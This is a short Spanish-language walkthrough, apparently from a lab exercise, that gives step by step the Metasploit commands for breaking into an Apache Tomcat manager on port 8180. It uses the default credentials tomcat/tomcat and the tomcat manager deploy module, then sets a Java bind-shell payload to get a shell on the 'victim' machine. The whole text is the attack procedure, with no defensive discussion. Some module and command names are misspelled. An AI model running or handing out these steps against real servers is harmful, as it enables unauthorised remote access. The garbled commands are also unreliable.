1.- ingresamos amsfconsole. Buscamos con un search tomcat que es el puerto que vamos a atacar.

2.- ingresamos los siguientes comandos: use exploit/http/tomcat_mgr_deloy esto es par ingresar al exploit, el siguiente es: set password tomcat, despus sigue set USERNAME tomcat, ingresamos la IP <victima> con set RHOST IP de ah vamos a ingresar el puerto que vamos a atacar que va hacer la tomcat(8180).

3.- Despues hacemos un: show payloads

4.- otra vez la IP<victima> con un set RHOST IP, otro set de reporte: set RPORT 8180, Un show payloads

5.-agregamos otro comando: set PAYLOAD java/Shell/bind_tcp es para ingresar a la Shell de la maquina victima.

6.- Por ultimo solo le damos una exploracin con el siguiente comando: exploit y ya estamos dentro de la maquina que queramos atacar.